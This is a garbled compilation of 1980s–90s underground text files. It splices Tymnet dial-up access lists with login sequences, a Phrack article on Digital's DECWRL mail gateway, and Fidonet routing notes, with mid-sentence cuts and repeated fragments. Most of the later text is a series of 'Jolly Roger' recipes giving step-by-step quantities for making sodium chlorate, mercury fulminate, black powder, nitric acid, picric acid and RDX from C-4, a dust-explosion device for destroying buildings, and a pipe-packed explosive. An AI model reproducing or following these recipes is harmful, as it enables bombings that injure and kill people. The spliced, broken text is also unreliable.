05443 SALINA KANSAS 300/1200 913/825-4547 @MRLK
05443 TOPEKA KANSAS 300/1200 913/235-1909 @MRLK
05443 WICHITA KANSAS 300/1200 316/269-1996 @MRLK
04766 BRIDGETON/ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK
04766 ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK
06510 ADA OKLAHOMA 300/1200 405/4
On a side note, the recent book The Cuckoo's Egg provides some interesting
information (in the form of a story, however) on a Tymnet hacker. Remember
that he was into BIG things, and hence he was cracked down upon. If you keep a
low profile, networks should provide a good access method.
If you can find a system that is connected to the Internet that you can get on
from Tymnet, you are doing well.
_______________________________________________________________________________
-- Exodus -- '94_
==Phrack Inc.==
Volume Three, Issue 30, File #5 of 12
()()()()()()()()()()()()()()()()()()()
() ()
() The DECWRL Mail Gateway ()
() ()
() by Dedicated Link ()
() ()
() September 20, 1989 ()
() ()
()()()()()()()()()()()()()()()()()()()
INTRODUCTION
DECWRL is a mail gateway computer operated by Digital's Western Research
Laboratory in Palo Alto, California. Its purpose is to support the interchange
of electronic mail between Digital and the "outside world."
DECWRL is connected to Digital's Easynet, and also to a number of different
outside electronic mail networks. Digital users can send outside mail by
sending to DECWRL::"outside-address", and digital users can also receive mail
by having your correspondents route it through DECWRL. The details of incoming
mail are more complex, and are discussed below.
It is vitally important that Digital employees be good citizens of the networks
to which we are connected. They depend on the integrity of our user community
to ensure that tighter controls over the use of the gateway are not required.
The most important rule is "no chain letters," but there are other rules
depending on whether the connected network that you are using is commercial or
non-commercial.
The current traffic volume (September 1989) is about 10,000 mail messages per
day and about 3,000 USENET messages per day. Gatewayed mail traffic has
doubled every year since 1983. DECWRL is currently a Vax 8530 computer with 48
megabytes of main memory, 2500 megabytes of disk space, 8 9600-baud (Telebit)
modem ports, and various network connections. They will shortly be upgrading
to a Vax 8650 system. They run Ultrix 3.0 as the base operating system.
ADMINISTRATION
The gateway has engineering staff, but no administrative or clerical staff.
They work hard to keep it running, but they do not have the resources to answer
telephone queries or provide tutorials in its use.
They post periodic status reports to the USENET newsgroup dec.general. Various
helpful people usually copy these reports to the VAXNOTES "gateways" conference
within a day or two.
HOW TO SEND MAIL
DECWRL is connected to quite a number of different mail networks. If you were
logged on directly to it, you could type addresses directly, e.g.
To: strange!foreign!address.
But since you are not logged on directly to the gateway, you must send mail so
that when it arrives at the gateway, it will be sent as if that address had
been typed locally.
* Sending from VMS
If you are a VMS user, you should use NMAIL, because VMS mail does not know how
to requeue and retry mail when the network is congested or disconnected. From
VMS, address your mail like this:
To: nm%DECWRL::"strange!foreign!address"
The quote characters (") are important, to make sure that VMS doesn't try to
interpret strange!foreign!address itself. If you are typing such an address
inside a mail program, it will work as advertised. If you are using DCL and
typing directly to the command line, you should beware that DCL likes to remove
quotes, so you will have to enclose the entire address in quotes, and then put
two quotes in every place that one quote should appear in the address:
$ mail test.msg "nm%DECWRL::""foreign!addr""" /subj="hello"
Note the three quotes in a row after foreign!addr. The first two of them are
doubled to produce a single quote in the address, and the third ends the
address itself (balancing the quote in front of the nm%).
Here are some typical outgoing mail addresses as used from a VMS system:
To: nm%DECWRL::"lll-winkin!netsys!phrack"
To: nm%DECWRL::"postmaster@msp.pnet.sc.edu"
To: nm%DECWRL::"netsys!phrack@uunet.uu.net"
To: nm%DECWRL::"phrackserv@CUNYVM.bitnet"
To: nm%DECWRL::"Chris.Jones@f654.n987.z1.fidonet.org"
* Sending from Ultrix
If your Ultrix system has been configured for it, then you can, from your
Ultrix system, just send directly to the foreign address, and the mail software
will take care of all of the gateway routing for you. Most Ultrix systems in
Corporate Research and in the Palo Alto cluster are configured this way.
To find out whether your Ultrix system has been so configured, just try it and
see what happens. If it doesn't work, you will receive notification almost
instantly.
NOTE: The Ultrix mail system is extremely flexible; it is almost
completely configurable by the customer. While this is valuable to
customers, it makes it very difficult to write global instructions for
the use of Ultrix mailers, because it is possible that the local changes
have produced something quite unlike the vendor-delivered mailer. One of
the popular changes is to tinker with the meaning of quote characters (")
in Ultrix addresses. Some systems consider that these two addresses are
the same:
site1!site2!user@host.dec.com
and
"site1!site2!user"@host.dec.com
while others are configured so that one form will work and the other
will not. All of these examples use the quotes. If you have trouble
getting the examples to work, please try them again without the quotes.
Perhaps your Ultrix system is interpreting the quotes differently.
If your Ultrix system has an IP link to Palo Alto (type "/etc/ping
decwrl.dec.com" to find out if it does), then you can route your mail to the
gateway via IP. This has the advantage that your Ultrix mail headers will
reach the gateway directly, instead of being translated into DECNET mail
headers and then back into Ultrix at the other end. Do this as follows:
To: "alien!address"@decwrl.dec.com
The quotes are necessary only if the alien address contains a ! character, but
they don't hurt if you use them unnecessarily. If the alien address contains
an "@" character, you will need to change it into a "%" character. For
example, to send via IP to joe@widget.org, you should address the mail
To: "joe%widget.org"@decwrl.dec.com
If your Ultrix system has only a DECNET link to Palo Alto, then you should
address mail in much the same way that VMS users do, save that you should not
put the nm% in front of the address:
To: DECWRL::"strange!foreign!address"
Here are some typical outgoing mail addresses as used from an Ultrix system
that has IP access. Ultrix systems without IP access should use the same
syntax as VMS users, except that the nm% at the front of the address should not
be used.
To: "lll-winken!netsys!phrack"@decwrl.dec.com
To: "postmaster%msp.pnet.sc.edu"@decwrl.dec.com
To: "phrackserv%CUNYVM.bitnet"@decwrl.dec.com
To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com
To: "Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com
DETAILS OF USING OTHER NETWORKS
All of the world's computer networks are connected together, more or less, so
it is hard to draw exact boundaries between them. Precisely where the Internet
ends and UUCP begins is a matter of interpretation.
For purposes of sending mail, though, it is convenient to divide the network
universe into these categories:
Easynet Digital's internal DECNET network. Characterized by addresses
of the form NODE::USER. Easynet can be used for commercial
purposes.
Internet A collection of networks including the old ARPAnet, the NSFnet,
the CSnet, and others. Most international research,
development, and educational organizations are connected in
some fashion to the Internet. Characterized by addresses of
the form user@site.subdomain.domain. The Internet itself
cannot be used for commercial purposes.
UUCP A very primitive network with no management, built with
auto-dialers phoning one computer from another. Characterized
by addresses of the form place1!place2!user. The UUCP network
can be used for commercial purposes provided that none of the
sites through which the message is routed objects to that.
USENET Not a network at all, but a layer of software built on top of
UUCP and Internet.
BITNET An IBM-based network linking primarily educational sites.
Digital users can send to BITNET as if it were part of
Internet, but BITNET users need special instructions for
reversing the process. BITNET cannot be used for commercial
purposes.
Fidonet A network of personal computers. I am unsure of the status of
using Fidonet for commercial purposes, nor am I sure of its
efficacy.
DOMAINS AND DOMAIN ADDRESSING
There is a particular network called "the Internet;" it is somewhat related to
what used to be "the ARPAnet." The Internet style of addressing is flexible
enough that people use it for addressing other networks as well, with the
result that it is quite difficult to look at an address and tell just what
network it is likely to traverse. But the phrase "Internet address" does not
mean "mail address of some computer on the Internet" but rather "mail address
in the style used by the Internet." Terminology is even further confused
because the word "address" means one thing to people who build networks and
something entirely different to people who use them. In this file an "address"
is something like "mike@decwrl.dec.com" and not "192.1.24.177" (which is what
network engineers would call an "internet address").
The Internet naming scheme uses hierarchical domains, which despite their title
are just a bookkeeping trick. It doesn't really matter whether you say
NODE::USER or USER@NODE, but what happens when you connect two companies'
networks together and they both have a node ANCHOR?? You must, somehow,
specify which ANCHOR you mean. You could say ANCHOR.DEC::USER or
DEC.ANCHOR::USER or USER@ANCHOR.DEC or USER@DEC.ANCHOR. The Internet
convention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name
(ANCHOR).
But there could be several different organizations named DEC. You could have
Digital Equipment Corporation or Down East College or Disabled Education
Committee. The technique that the Internet scheme uses to resolve conflicts
like this is to have hierarchical domains. A normal domain isn't DEC or
STANFORD, but DEC.COM (commercial) and STANFORD.EDU (educational). These
domains can be further divided into ZK3.DEC.COM or CS.STANFORD.EDU. This
doesn't resolve conflicts completely, though: both Central Michigan University
and Carnegie-Mellon University could claim to be CMU.EDU. The rule is that the
owner of the EDU domain gets to decide, just as the owner of the CMU.EDU gets
to decide whether the Electrical Engineering department or the Elementary
Education department gets subdomain EE.CMU.EDU.
The domain scheme, while not perfect, is completely extensible. If you have
two addresses that can potentially conflict, you can suffix some domain to the
end of them, thereby making, say, decwrl.UUCP be somehow different from
DECWRL.ENET.
DECWRL's entire mail system is organized according to Internet domains, and in
fact we handle all mail internally as if it were Internet mail. Incoming mail
is converted into Internet mail, and then routed to the appropriate domain; if
that domain requires some conversion, then the mail is converted to the
requirements of the outbound domain as it passes through the gateway. For
example, they put Easynet mail into the domain ENE STATE DENSITY ACCESS NUMBER NTWK
----- ------------------- -------------- ------ ------------ ----
03306 BERKELEY CALIFORNIA 300/1200 415-548-2121 @PPS
06272 EL SEGUNDO CALIFORNIA 300/1200 213-640-8548 @PPS
06272 FULLERTON CALIFORNIA 300/1200 714-441-2777 @PPS
06272 INGLEWOOD CALIFORNIA 300/1200 213-216-7667 @PPS
06272 LOS ANGELES(DOWNTOWN) CALIFORNIA 300/1200 213-687-3727 @PPS
06272 LOS ANGELES CALIFORNIA 300/1200 213-480-1677 @PPS
03306 MOUNTAIN VIEW CALIFORNIA 300/1200 415-960-3363 @PPS
03306 OAKLAND CALIFORNIA 300/1200 415-893-9889 @PPS
03306 PALO ALTO CALIFORNIA 300/1200 415-325-4666 @PPS
06272 PASADENA CALIFORNIA 300/1200 818-356-0780 @PPS
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-543-8275 @PPS
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-626-5380 @PPS
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-362-2280 @PPS
03306 SAN JOSE CALIFORNIA 300/1200 408-920-0888 @PPS
06272 SANTA ANNA CALIFORNIA 300/1200 714-972-9844 @PPS
06272 VAN NUYS CALIFORNIA 300/1200 818-780-1066 @PPS
@PPS PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)
(CONNECT MESSAGE)
. _. _. _< _C _R _ (SYNCHRONIZES DATA SPEEDS)>
(DOES NOT ECHO TO THE TERMINAL)
ONLINE 1200
WELCOME TO PPS: 415-XXX-XXXX
1 _3 _1 _0 _6 _9 _ (TYMNET ADDRESS)
(DOES NOT ECHO UNTIL TYMNET RESPONDS)
-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)
SOUTHWESTERN BELL
NODE CITY STATE DENSITY ACCESS NUMBERS NWRK
----- -------------------- -------------- ------- ------------ -----
05443 KANSAS CITY KANSAS 300/1200 316/225-9951 @MRLK
05443 HAYS KANSAS 300/1200 913/625-8100 @MRLK
05443 HUTCHINSON KANSAS 300/1200 316/669-1052 @MRLK
05443 LAWRENCE KANSAS 300/1200 913/841-5580 @MRLK
05443 MANHATTAN KANSAS 300/1200 913/539-9291 @MRLK
05443 PARSONS KANSAS 300/1200 316/421-0620 @MRLK
05443 SALINA KANSAS 300/1200 913/825-4547 @MRLK
05443 TOPEKA KANSAS 300/1200 913/235-1909 @MRLK
05443 WICHITA KANSAS 300/1200 316/269-1996 @MRLK
04766 BRIDGETON/ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK
04766 ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK
06510 ADA OKLAHOMA 300/1200 405/436-0252 @MRLK
06510 ALTUS OKLAHOMA 300/1200 405/477-0321 @MRLK
06510 ALVA OKLAHOMA 300/1200 405/327-1441 @MRLK
06510 ARDMORE OKLAHOMA 300/1200 405/223-8086 @MRLK
03167 BARTLESVILLE OKLAHOMA 300/1200 918/336-6901 @MRLK
06510 CLINTON OKLAHOMA 300/1200 405/323-8102 @MRLK
06510 DURANT OKLAHOMA 300/1200 405/924-2680 @MRLK
06510 ENID OKLAHOMA 300/1200 405/242-8221 @MRLK
06510 LAWTON OKLAHOMA 300/1200 405/248-8772 @MRLK
03167 MCALESTER OKLAHOMA 300/1200 918/426-0900 @MRLK
03167 MIAMI OKLAHOMA 300/1200 918/540-1551 @MRLK
03167 MUSKOGEE OKLAHOMA 300/1200 918/683-1114 @MRLK
06510 OKLAHOMA CITY OKLAHOMA 300/1200 405/236-0660 @MRLK
06510 PONCA CITY OKLAHOMA 300/1200 405/762-9926 @MRLK
03167 SALLISAW OKLAHOMA 300/1200 918/775-7713 @MRLK
06510 SHAWNEE OKLAHOMA 300/1200 405/273-0053 @MRLK
06510 STILLWATER OKLAHOMA 300/1200 405/377-5500 @MRLK
03167 TULSA OKLAHOMA 300/1200 918/583-6606 @MRLK
06510 WOODWARD OKLAHOMA 300/1200 405/256-9947 @MRLK
@MRLK - SOUTHWESTERN BELL TELEPHONE- NETWORK NAME IS MICROLINK II(R)
(CONNECT MESSAGE)
(PLEASE TYPE YOUR TERMINAL IDENTIFIER)
A _ (YOUR TERMINAL IDENTIFIER)
WELCOME TO MICROLINK II
-XXXX:01-030-
PLEASE LOG IN:
.T < _C _R _> _ (USERNAME TO ACCESS TYMNET)
HOST: CALL CONNECTED
-GWY 0XXXX- TYMNET: PLEASE LOG IN:
SOUTHERN NEW ENGLAND
NODE CITY STATE DENSITY ACCESS NUMBERS NWRK
----- ------------------- ----------- ------- -------------- -----
02727 BRIDGEPORT CONNECTICUT 300/2400 203/366-6972 @CONNNET
02727 BRISTOL CONNECTICUT 300/2400 203/589-5100 @CONNNET
02727 CANAAN CONNECTICUT 300/2400 203/824-5103 @CONNNET
02727 CLINTON CONNECTICUT 300/2400 203/669-4243 @CONNNET
02727 DANBURY CONNECTICUT 300/2400 203/743-2906 @CONNNET
02727 DANIELSON CONNECTICUT 300/2400 203/779-1880 @CONNNET
02727 HARTFORD/MIDDLETOWN CONNECTICUT 300/2400 203/724-6219 @CONNNET
02727 MERIDEN CONNECTICUT 300/2400 203/237-3460 @CONNNET
02727 NEW HAVEN CONNECTICUT 300/2400 203/776-1142 @CONNNET
02727 NEW LONDON CONNECTICUT 300/2400 203/443-0884 @CONNNET
02727 NEW MILFORD CONNECTICUT 300/2400 203/355-0764 @CONNNET
02727 NORWALK CONNECTICUT 300/2400 203/866-5305 @CONNNET
02727 OLD GREDDWICH CONNNETICUT 300/2400 203/637-8872 @CONNNET
02727 OLD SAYBROOK CONNECTICUT 300/2400 203/388-0778 @CONNNET
02727 SEYMOUR CONNECTICUT 300/2400 203/881-1455 @CONNNET
02727 STAMFORD CONNECTICUT 300/2400 203/324-9701 @CONNNET
02727 STORRS CONNECTICUT 300/2400 203/429-4243 @CONNNET
02727 TORRINGTON CONNECTICUT 300/2400 203/482-9849 @CONNNET
02727 WATERBURY CONNECTICUT 300/2400 203/597-0064 @CONNNET
02727 WILLIMANTIC CONNECTICUT 300/2400 203/456-4552 @CONNNET
02727 WINDSOR CONNECTICUT 300/2400 203/688-9330 @CONNNET
02727 WINDSOR LCKS/ENFIELD CONNECTICUT 300/2400 203/623-9804 @CONNNET
@CONNNET - SOUTHERN NEW ENGLAND TELEPHONE - NETWORK NAME IN CONNNET
(CONNECT MESSAGE)
H_ H_ <_ C_ R_> (SYNCHRONIZES DATA SPEEDS)
(DOES NOT ECHO TO THE TERMINAL)
CONNNET
._ T_ <_ C_ R_>_ (MUST BE CAPITAL LETTERS)
26-SEP-88 18:33 (DATA)
031069 (ADDRESS CONFIRMATION)
COM (CONFIRMATION OF CALL SET-UP)
-GWY OXXXX-TYMNET: PLEASE LOG IN:
On a side note, the recent book The Cuckoo's Egg provides some interesting
information (in the form of a story, however) on a Tymnet hacker. Remember
that he was into BIG things, and hence he was cracked down upon. If you keep a
low profile, networks should provide a good access method.
If you can find a system that is connected to the Internet that you can get on
from Tymnet, you are doing well.
_______________________________________________________________________________
Username@f.n.z.ifna.org
In other words, if I wanted to mail to Silicon Swindler at 1:135/5, the address
would be Silicon_Swindler@f5.n135.z1.ifna.org and, provided that your mailer
knows the .ifna.org domain, it should get through alright. Apparently, as of
the writing of this article, they have implemented a new gateway name called
fidonet.org which should work in place of ifna.org in all routings. If your
mailer does not know either of these domains, use the above routing but replace
the first "@" with a "%" and then afterwards, use either of the following
mailers after the "@": CS.ORST.EDU or K9.CS.ORST.EDU (i.e. username%f.n.z.fidonet.org@CS.ORST.EDU [or replace
CS.ORST.EDU with
K9.CS.ORST.EDU]).
The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that was
posted on INFONETS DIGEST which lists a number of FIDONET gateways:
Net Node Node Name
~~~ ~~~~ ~~~~~~~~~
104 56 milehi.ifna.org
105 55 casper.ifna.org
107 320 rubbs.ifna.org
109 661 blkcat.ifna.org
125 406 fidogate.ifna.org
128 19 hipshk.ifna.org
129 65 insight.ifna.org
143 N/A fidogate.ifna.org
152 200 castle.ifna.org
161 N/A fidogate.ifna.org
369 17 megasys.ifna.org
NOTE: The UUCP equivalent node name is the first part of the node name. In
other words, the UUCP node milehi is listed as milehi.ifna.org but can
be mailed directly over the UUCP network.
Another way to mail to FIDONET, specifically for Internet people, is in this
format:
ihnp4!necntc!ncoast!ohiont!!!user_name@husc6.harvard.edu
And for those UUCP mailing people out there, just use the path described and
ignore the @husc5.harvard.edu portion. There is a FIDONET NODELIST available on
most any FIDONET bulletin board, but it is quite large.
ONTYME
~~~~~~
Previously known as Tymnet, OnTyme is the McDonnell Douglas revision. After
they bought out Tymnet, they renamed the company and opened an experimental
Internet gateway at ONTYME.TYMNET.COM but this is supposedly only good for
certain corporate addresses within McDonnell Douglas and Tymnet, not their
customers. The userid format is xx.yyy or xx.y/yy where xx is a net name and
yyy (or y/yy) is a true username. If you cannot directly nail this, try:
xx.yyy%ONTYME.TYM
Exodus_
Sodium Chlorate by the Jolly Roger
Sodium Chlorate is a strong oxidizer used in the manufacture of
explosives. It can be used in place of Potassium Chlorate.
Material Required Sources
----------------- -------
2 carbon or lead rods (1 in. diameter Dry Cell Batteries
by 5 in. long) (2-1/2 in. diameter by
7" long) or plumbing
supply store
Salt, or ocean water Grocery store or ocean
Sulfuric acid, diluted Motor Vehicle Batteries
Motor Vehicle
Water
2 wires, 16 gauge (3/64 in. diameter approx.), 6 ft. long, insulated.
Gasoline
1 gallon glass jar, wide mouth (5 in. diameter by 6 in. high approx.)
Sticks
String
Teaspoon
Trays
Cup
Heavy cloth
Knife
Large flat pan or tray
Procedure
---------
1) Mix 1/2 cup of salt into the one gallon glass jar with 3 litres (3
quarts) of water.
2) Add 2 teaspoons of battery acid to the solution and stir vigorously
for 5 minutes.
3) Strip about 4 inches of insulation from both ends of the two wires.
4) With knife and sticks, shape 2 strips of wood 1 by 1/8 by 1-1/2. Tie
the wood strips to the lead or carbon rods so that they are 1-1/2 incles
apart.
5) Connect the rods to the battery in a motor vehicle with the insulated
wire.
6) Submerge 4-1/2 inches of the rods in the salt water solution.
7) With gear in neutral position, start the vehicle engine. Depress the
accelerator approx. 1/5 of its full travel.
8) Run the engine with the accelerator in this position for 2 hours, then
shut it down for 2 hours.
9) Repeat this cycle for a total of 64 hours while maintaining the level
of the acid-salt water solution in the glass jar.
CAUTION: This arrangement employs voltages which can be quite dangerous!
Do not touch bare wire leads while engine is running!!
10) Shut off the engine. Remove the rods from the glass jar and
disconnect wire leads from the battery.
11) Filter the solution through the heavy cloth into a flat pan or tray,
leaving the sediment at the bottom of the glass jar.
12) Allow the water in the filtered solution to evaporate at room
temperature (approx. 16 hours). The residue is approximately 60% or more
sodium chlorate which is pure enough to be used as an explosive
ingredient.
-------Exodus------ CBIV, '94
_
MERCURY FULMINATE 2 - Exodus -
Mercury fulminate is perhaps one of the oldest known initiating
compounds. It can be detonated by either heat or shock, which would make it of
infinite value to a terrorist. Even the action of dropping a crystal of the
fulminate causes it to explode. A person making this material would probably
use the following procedure:
MATERIALS EQUIPMENT
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
5 g mercury glass stirring rod
35 ml concentrated 100 ml beaker (2)
nitric acid
ethyl alcohol (30 ml) adjustable heat source
distilled water blue litmus paper
funnel and filter paper
Solvent alcohol must be at least 95% ethyl alcohol if it is used to make
mercury fulminate. Methyl alcohol may prevent mercury fulminate from forming.
Mercury thermometers are becoming a rarity, unfortunately. They may be
hard to find in most stores as they have been superseded by alcohol and other
less toxic fillings. Mercury is also used in mercury switches, which are
available at electronics stores. Mercury is a hazardous substance, and should
be kept in the thermometer or mercury switch until used. It gives off mercury
vapors which will cause brain damage if inhaled. For this reason, it is a
good idea not to spill mercury, and to always use it outdoors. Also, do not
get it in an open cut; rubber gloves will help prevent this.
1) In one beaker, mix 5 g of mercury with 35 ml of concentrated nitric acid,
using the glass rod.
2) Slowly heat the mixture until the mercury is dissolved, which is when the
solution turns green and boils.
3) Place 30 ml of ethyl alcohol into the second beaker, and slowly and
carefully add all of the contents of the first beaker to it. Red and/or
brown fumes should appear. These fumes are toxic and flammable.
4) After thirty to forty minutes, the fumes should turn white, indicating that
the reaction is near completion. After ten more minutes, add 30 ml of the
distilled water to the solution.
5) Carefully filter out the crystals of mercury fulminate from the liquid
solution. Dispose of the solution in a safe place, as it is corrosive and
toxic.
6) Wash the crystals several times in distilled water to remove as much excess
acid as possible. Test the crystals with the litmus paper until they are
neutral. This will be when the litmus paper stays blue when it touches
the wet crystals
7) Allow the crystals to dry, and store them in a safe place, far away from
any explosive or flammable material.
This procedure can also be done by volume, if the available mercury
cannot be weighed. Simply use 10 volumes of nitric acid and 10 volumes of
ethanol to every one volume of mercury.
_
Improvised Black Powder by the Jolly Roger
Black powder can be prepared in a simple, safe manner. It may be used as
blasting or gun powder.
Material Required
-----------------
Potassium Nitrate, granulated, 3 cups (3/4 liter)
Wood charcoal, powdered, 2 cups
Sulfur, powdered, 1/2 cup
Alcohol, 5 pints (2-1/2 liters) (whiskey, rubbing alcohol, etc.)
Water, 3 cups (3/4 liter)
Heat source
2 buckets - each 2 gallon (7-1/2 litres) capacity, at least one of which is
heat resistant (metal, ceramic, etc.)
Flat window screening, at least 1 foot (30 cm) square
Large wooden stick
Cloth, at leat 2 feet (60 cm) square
Procedure:
---------
1) Place alcohol in one of the buckets.
2) Place potassium nitrate, charcoal, and sulfur in the heat resistant
bucket. Add 1 cup water and mix thoroughly with wooden stick until all
ingrediants are dissolved.
3) Add remaining water (2 cups) to mixture. Place bucket on heat source and
stir until small bubbles begin to form.
CAUTION: DO NOT boil mixture. Be sure ALL mixture stays wet. If any is dry,
as on sides of pan, it may ignite!
4) Remove bucket from heat and pour mixture into alcohol while stirring
vigorously.
5) Let alcohol mixture stand about 5 minutes. Strain mixture through cloth to
obtain black powder. Discard liquid. Wrap cloth around black powder and
squeeze to remove all excess liquid.
6) Place screening over dry bucket. Place workable amount of damp powder on
screen and granulate by rubbing solid through screen. NOTE: If granulated
particles appear to stick together and change shape, recombine entire batch
of powder and repeat steps 5 & 6.
7) Spread granulated black powder on flat, dry surface so that layer about
1/2 inch (1-1/4 cm) is formed. Allow to dry. Use radiator, or direct
sunlight. This should be dried as soon as possible, preferably in an hour.
The longer the drying period, the less effective the black powder.
CAUTION: Remove from heat AS SOON AS granules are dry. Black powder isnow
ready to use.
Used in CBIV, '94 -= Exodus =-_
NITRIC ACID -= Exodus =- '94
There are several ways to make this most essential of all acids for
explosives. One method by which it could be made will be presented. Once
again, be reminded that these methods SHOULD NOT BE CARRIED OUT!!
Materials: Equipment:
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
sodium nitrate or adjustable heat source
potassium nitrate
retort
distilled water
ice bath
concentrated
sulfuric acid stirring rod
collecting flask with stopper
1) Pour 32 milliliters of concentrated sulfuric acid into the retort.
2) Carefully weigh out 58 grams of sodium nitrate, or 68 grams of potassium
nitrate. and add this to the acid slowly. If it all does not dissolve,
carefully stir the solution with a glass rod until it does.
3) Place the open end of the retort into the collecting flask, and place the
collecting flask in the ice bath.
4) Begin heating the retort, using low heat. Continue heating until liquid
begins to come out of the end of the retort. The liquid that forms is nitric
acid. Heat until the precipitate in the bottom of the retort is almost dry,
or until no more nitric acid is forming. CAUTION: If the acid is headed too
strongly, the nitric acid will decompose as soon as it is formed. This can
result in the production of highly flammable and toxic gasses that may
explode. It is a good idea to set the above apparatus up, and then get away
from it.
Potassium nitrate could also be obtained from store-bought black powder,
simply by dissolving black powder in boiling water and filtering out the sulfur
and charcoal. To obtain 68 g of potassium nitrate, it would be necessary to
dissolve about 90 g of black powder in about one litre of boiling water. Filter
the dissolved solution through filter paper in a funnel into a jar until the
liquid that pours through is clear. The charcoal and sulfur in black powder are
insoluble in water, and so when the solution of water is allowed to evaporate,
potassium nitrate will be left in the jar.
_
Dust Bomb Instructions by the Jolly Roger
An initiator which will initiate common material to produce dust
explosions can be rapidly and easily constructed. This type of charge is
ideal for the destruction of enclosed areas such as rooms or buildings.
Material Required
-----------------
A flat can, 3 in. (8 cm) in diameter and 1-1/2 in. (3-3/4 cm) high. A 6-
1/2 ounce tuna can serves the purpose quite well.
Blasting cap
Explosive
Aluminum (may be wire, cut sheet, flattened can, or powder)
Large nail, 4 in. (10 cm) long
Wooden rod - 1/4 in. (6 mm) diameter
Flour, gasoline, and powder or chipped aluminum
NOTE: Plastic explosive produce better explosions than cast explosives.
Procedure:
---------
1) Using the nail, press a hole through the side of the tuna can 3/8 inch
to 1/2 inch (1 to 1-1/2 cm) from the bottom. Using a rotating and lever
action, enlarge the hole until it will accomodate the blasting cap.
2) Place the wooden rod in the hole and position the end of the rod at the
center of the can.
3) Press explosive into the can, being sure to surround the rod, until it
is 3/4 inch (2 cm) from the top of the can. Carefully remove the wooden
rod.
4) Place the aluminum metal on top of the explosive.
5) Just before use, insert the blasting cap into the cavity made by the
rod. The initiator is now ready to use.
NOTE: If it is desired to carry the initiator some distance, cardboard may
be pressed on top of the aluminum to insure against loss of material.
How to Use:
----------
This particular unit works quite well to initiate charges of five
pounds of flour, 1/2 gallon (1-2/3 litres) of gasoline, or two pounds of
flake painters aluminum. The solid materials may merely be contained in
sacks or cardboard cartons. The gasoline may be placed in plastic coated
paper milk cartons, as well as plastic or glass bottles. The charges are
placed directly on top of the initiator and the blasting cap is actuated
electrically or by a fuse depending on the type of cap employed. this will
destroy a 2,000 cubic feet enclosure (building 10 x 20 x 10 feet).
Note: For larger enclosures, use proportionally larger initiators and
charges.
CBIV, '94, -= Exodus =-
_
Carbon-Tet Explosive by the Jolly Roger
A moist explosive mixture can be made from fine aluminum powder combined
with carbon tetrachloride or tetrachloroethylene. This explosive can be
detonated with a blasting cap.
Material Required Source
----------------- ------
Fine aluminum bronzing powder Paint store
Carbon Tetrachloride Pharmacy, or fire
or extinguisher fluid
tetrachloroethylene Dry cleaners, pharmacy
Stirring rod (wood)
Mixing container (bowl, bucket, etc.)
Measuring container (cup, tablespoon, etc.)
Storage container (jar, can, etc.)
Blasting cap
Pipe, can or jar
Procedure:
---------
1) Measure out two parts aluminum powder to one part carbon tetrachloride or
tetrachlorethylene liquid into mixing container, adding liquid to powder
while stirring with the wooden rod.
2) Stir until the mixture becomes the consistency of honey syrup.
CAUTION: Fumes from the liquid are dangerous and should not be inhaled.
3) Store explosive in a jar or similar water proof container until ready to
use. The liquid in the mixture evaporates quicky when not confined.
NOTE: Mixture will detonate in this manner for a period of 72 hours.
How to Use:
----------
1) Pour this mixture into an iron or steel pipe which has an end cap threaded
on one end. If a pipe is not available, you may use a dry tin can or glass
jar.
2) Insert blasting cap just beneath the surface of the explosive mix.
NOTE: Confining the open end of the container will add to the effectiveness
of the explosive.
Compiled by: Exodus_
Making Picric Acid from Aspirin by the Jolly Roger
Picric Acid can be used as a booster explosive in detonators, a high
explosive charge, or as an intermediate to preparing lead picrate.
Material Required
-----------------
Aspirin tablets (5 grains per tablet)
Alcohol, 95% pure
Sulfuric acid, concentrated, (if battery acid, boil until white fumes
disappear)
Potassium Nitrate (see elsewhere in this Cookbook)
Water
Paper towels
Canning jar, 1 pint
Rod (glass or wood)
Glass containers
Ceramic or glass dish
Cup
Teaspoon
Tablespoon
Pan
Heat source
Tape
Procedure:
---------
1) Crush 20 aspirin tablets in a glass container. Add 1 teaspoon of water
and work into a paste.
2) Add approximately 1/3 to 1/2 cup of alcohol (100 millilitres) to the
aspirin paste; stir while pouring.
3) Filter the alcohol-aspirin solution through a paper towel into another
glass container. Discard the solid left in the paper towel.
4) Pour the filtered solution into a glass or ceramic dish.
5) Evaporate the alcohol and water from the solution by placing the dish
into a pan of hot water. White powder will remain in the dish after
evaporation.
NOTE: The water in the pan should be at hot bath temperature, not boiling,
approx. 160 to 180 degress farenheit. It should not burn the hands.
6) Pour 1/3 cup (80 millilitres) of concentrated sulfuric acid into a
canning jar. Add the white powder to the sulfuric acid.
7) Heat canning jar of sulfuric acid in a pan of simmering hot water bath
for 15 minutes; then remove jar from the bath. Solution will turn to a
yellow-orange color.
8) Add 3 level teaspoons (15 grams) of potassium nitrate in three portions
to the yellow-orange solution; stir vigorously during additions. Solution
will turn red, then back to a yellow-orange color.
9) Allow the solution to cool to ambient room temperature while stirring
occasionally.
10) Slowly pour the solution, while stirring, into 1-1/4 cup (300
millilitres) of cold water and allow to cool.
11) Filter the solution through a paper towel into a glass container. Light
yellow particles will collect on the paper towel.
12) Wash the light yellow particles with 2 tablespoons (25 millilitres) of
water. Discard the waste liquid in the container.
13) Place articles in ceramic dish and set in a hot water bath, as in step
5, for 2 hours.
Compiled by: Exodus_
Reclamation of RDX from C-4 Explosives by the Jolly Roger
RDX can be obtained from C-4 explosives with the use of gasoline. It can
be used as a booster explosive for detonators or as a high explosive charge.
Material Required
-----------------
Gasoline
C-4 explosive
2 - pint glass jars, wide mouth
Paper towels
Stirring rod (glass or wood)
Water
Ceramic or glass dish
Pan
Heat source
Teaspoon
Cup
Tape
NOTE: Water, Ceramic or glass dish, pan, & heat source are all optional. The
RDX can be air dried instead.
Procedure:
---------
1) Place 1-1/2 teaspoons (15 grams) of C-4 explosive in one of the pint jars.
